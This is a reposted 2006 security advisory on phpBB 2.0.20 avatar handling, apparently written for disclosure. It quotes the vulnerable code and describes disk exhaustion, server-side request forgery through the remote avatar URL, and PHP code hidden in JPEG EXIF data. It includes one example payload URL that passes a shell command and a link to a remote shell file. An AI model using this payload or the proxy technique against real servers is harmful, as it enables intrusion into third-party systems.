Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12655
HistoryMay 13, 2006 - 12:00 a.m.

PHPBB 2.0.20 persistent issues with avatars

2006-05-1300:00:00
vulners.com
8

PHPBB 2.0.20 multiple issues with avatars

some problems persistently lie in the way it handles remote and uploaded avatars:

a remote user can:

(1) saturate the server with unuseful files, 'cause phpbb do not delete
the previous one when you upload a new avatar

(2) use PhpBB installations to launch exploits against other servers,
using "avatarurl" argument when you modify your profile as path
of a GET request.

Look usercp_avatar.php near lines 125-153:

if ( $avatar_mode == 'remote' && preg_match('/^(http:\/\/)?([\w\-\.]+)\:?([0-9])\/(.)$/',
$avatar_filename, $url_ary) )
{
if ( empty($url_ary[4]) )
{
$error = true;
$error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' .
$lang['Incomplete_URL'] : $lang['Incomplete_URL'];
return;
}

            $base_get = &#39;/&#39; . $url_ary[4];
            $port = &#40; !empty&#40;$url_ary[3]&#41; &#41; ? $url_ary[3] : 80;

            if &#40; !&#40;$fsock = @fsockopen&#40;$url_ary[2], $port, $errno, $errstr&#41;&#41; &#41;
            {
                    $error = true;
                    $error_msg = &#40; !empty&#40;$error_msg&#41; &#41; ? $error_msg . &#39;&lt;br /&gt;&#39; .

$lang['No_connection_URL'] : $lang['No_connection_URL'];
return;
}

            @fputs&#40;$fsock, &quot;GET $base_get HTTP/1.1&#92;r&#92;n&quot;&#41;;
            @fputs&#40;$fsock, &quot;HOST: &quot; . $url_ary[2] . &quot;&#92;r&#92;n&quot;&#41;;
            @fputs&#40;$fsock, &quot;Connection: close&#92;r&#92;n&#92;r&#92;n&quot;&#41;;

            unset&#40;$avatar_data&#41;;
            while&#40; !@feof&#40;$fsock&#41; &#41;
            {
                    $avatar_data .= @fread&#40;$fsock, $board_config[&#39;avatar_filesize&#39;]&#41;;
            }
            @fclose&#40;$fsock&#41;;

phpbb do not check if the user supplied value ends with an image extension, neither
checks if the supplied string contains "&" and "?" chars. So, you can submit a value
like this:

http://some_vulnerable.host/somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt

phpbb will launch a GET request like this:

GET /somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt HTTP/1.0
HOST: some_vulnerable.host
Connection: close

obviously you have no output, but this makes phpbb to be like a http proxy

(3) inject some php code inside jpeg files as EXIF metadata content:
this, in combinations with third party vulnerable code can be used
to compromise the server where PHP is installed.
Should be enough to check for php code inside the temporary files
before to copy the new avatar in "images/avatars/" folder.

rgod

mail: rgod [at] autistici [dot] org
site: http://retrogod.altervista.org